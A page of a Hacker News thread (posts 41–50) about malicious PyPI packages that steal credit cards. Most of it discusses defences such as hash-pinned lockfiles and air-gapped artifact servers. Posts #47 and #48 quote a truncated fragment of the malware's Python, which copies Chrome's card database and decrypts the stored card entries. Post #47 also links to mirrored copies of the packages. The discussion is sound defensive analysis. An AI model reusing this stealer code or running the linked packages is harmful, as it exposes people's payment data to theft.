Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Malicious PyPI packages stealing credit cards and injecting code

jfrog.com

Post reply on HN
Print view View original

41–50 of 230 posts

Re: Malicious PyPI packages stealing credit cards and injecting code

#41

Post by tikkabhuna »

ericpauley wrote: post #16
yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

Out of curiosity, is it really necessary to have the separate artifact server? Pinning dependencies by hash ought to be sufficient.

We use an artifact server and our build servers are completely airgapped. We know exactly what dependencies are used across the organisation. We can take centralised action against malicious dependencies.

I wouldn't bother having one if you're small (<25) people. If you start having a centralised Infosec group, then it starts to become necessary.

Re: Malicious PyPI packages stealing credit cards and injecting code

#42

Post by helsinki »

jrockway wrote: post #39
ericpauley wrote: post #16

Earlier quoted context omitted.

Out of curiosity, is it really necessary to have the separate artifact server? Pinning dependencies by hash ought to be sufficient.

Security and availability don't have to be mutually exclusive. I remember in the early day of Go modules our Docker builds (that did "go mod download") would be rate-limited by Github, so a local cache was necessary to get builds to succeed 100% of the time. (Yes, you can plumb through some authentication material to avoid this, but Github is slow even when they're not rate limiting you!) Honestly, that thing was fas…

Tangential non-sequitor:

> self-hosted on AWS

People forgot what self-hosting actually means.

Re: Malicious PyPI packages stealing credit cards and injecting code

#43

Post by karmicthreat »

There is lots of inconsistency about hash behavior with the various repos (pypi, ruby gems) and tools (poetry, bundled).

For a long time poetry didn’t even check the hash. So the safer option is just maintain these artifacts yourself so you know what is going on and have your own policies on maintaining them.

Re: Malicious PyPI packages stealing credit cards and injecting code

#44

Post by jrockway »

oauea wrote: post #28
kawsper wrote: post #18

Earlier quoted context omitted.

How often does that happen?

https://hn.algolia.com/?q=cloudflare+down https://hn.algolia.com/?q=akamari+down https://hn.algolia.com/?q=github+down

Docker Hub also has rate limits and outages, so yet another thing you want to cache if you promise customers "we'll install our software in your Kubernetes cluster in 15 minutes 99.95% of the time".

Re: Malicious PyPI packages stealing credit cards and injecting code

#45

Post by nerdponx »

helsinki wrote: post #32
yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

FYI - You can overwrite an existing package’s release/version via pip (at least when using Artifactory’s PyPi). Not safe to assume pinning the version ‘freezes’ anything.

Make a "lockfile" with the pip-compile tool [0] that includes hashes. Unless you happen to fetch the hash after the package has been compromised, this should keep you safe from an overwritten version.

[0]: https://pypi.org/project/pip-tools/

Re: Malicious PyPI packages stealing credit cards and injecting code

#46

Post by dailyanchovy »

Nice writeup, but the title flashes to '(1) New Message' and back twice a second. That's kind of silly in my opinion, from whom do I expect the message? I assume from the chatbot at the bottom right corner.

Even so, to talk to it I would need to grant it access to some personal information.

It all ends up leaving a bitter aftertaste. Whatever the message was, why not place it in a block of text somewhere less distracting.

I appreciate the writeup however.

Re: Malicious PyPI packages stealing credit cards and injecting code

#47

Post by oefrha »

smallerfish wrote: post #23

``` def cs(): master_key = master() login_db = os.environ['USERPROFILE'] + os.sep + \ r'AppData\Local\Google\Chrome\User Data\default\Web Data' shutil.copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.cursor() try: cursor.execute("SELECT * FROM credit_cards") for r in cursor.fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw( encrypted_password, master_key) e…

I found a copy on a PyPI mirror and at a glance couldn't find any of the malicious code mentioned: https://pypi.tuna.tsinghua.edu.cn/packages/99/84/7f9560403cd...

Also a copy of noblesse2, which I didn't bother to look into due to obfuscation: https://pypi.tuna.tsinghua.edu.cn/packages/15/59/cbdeed656cf...

Re: Malicious PyPI packages stealing credit cards and injecting code

#48

Post by RL_Quine »

smallerfish wrote: post #23

``` def cs(): master_key = master() login_db = os.environ['USERPROFILE'] + os.sep + \ r'AppData\Local\Google\Chrome\User Data\default\Web Data' shutil.copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.cursor() try: cursor.execute("SELECT * FROM credit_cards") for r in cursor.fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw( encrypted_password, master_key) e…

What do you expect it to be "encrypted" with? Unless the user is entering a password every time they start the browser, there's nothing unique to a system that other malware can't just extract and use to decrypt the database.

Re: Malicious PyPI packages stealing credit cards and injecting code

#49

Post by oblio »

specialist wrote: post #38
yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

I did a bunch of nodejs stuff at my last gig. These teams had the of practice keeping packages up to date. Drove me frikkin nuts. So much churn, chaos. Is this a JavaScript thing? Carried over from frontend development? Exasperated, I finally stopped advocating for locking everything down. Everyone treated me like I was crazy. (Reproducible builds?? Pfft!!) Happens with enterprisey Java, Sprint, Maven projects too. (…

Java/Spring/Maven should have locked down dependencies by default. They have to go out of their way to not do that. Not that some people don't, anyway.

Typos:

> I stopped advocating for locking everything down.

started?

> Look down dependencies.

lock?

Re: Malicious PyPI packages stealing credit cards and injecting code

#50

Post by rlpb »

geofft wrote: post #3

Anyone can upload anything to PyPI. This is kind of like saying that you detected malicious packages on GitHub - the question is whether anyone actually ran it. They say that the packages were downloaded 30,000 times, but automated processes like mirrors can easily inflate this. (As can people doing the exact sort of research they were doing - they themselves downloaded the files from PyPI!) Quoting PyPI maintainer D…

> Anyone can upload anything to PyPI. This is kind of like saying that you detected malicious packages on GitHub - the question is whether anyone actually ran it.

There's a bigger social problem here. In many communities it has become completely normalized for any dependency to be just added from these types of "anyone can upload" repositories without any kind of due diligence as to provenance or security. It's as if these communities have just given up on that.

For example, if I suggest that a modern web app only use dependencies that ship in Debian (a project that does actually take this kind of thing seriously), many would laugh me out of the building.

The only practical alternative in many cases is to give up trying. It's now rare for projects to properly audit their dependencies because the community at large isn't rallying around doing it. It's a vicious circle.

This kind of incident serves as a valuable regular reminder of the risks that these communities are taking. Dismissing this by saying "anyone can upload" misses the point.

Post reply on HN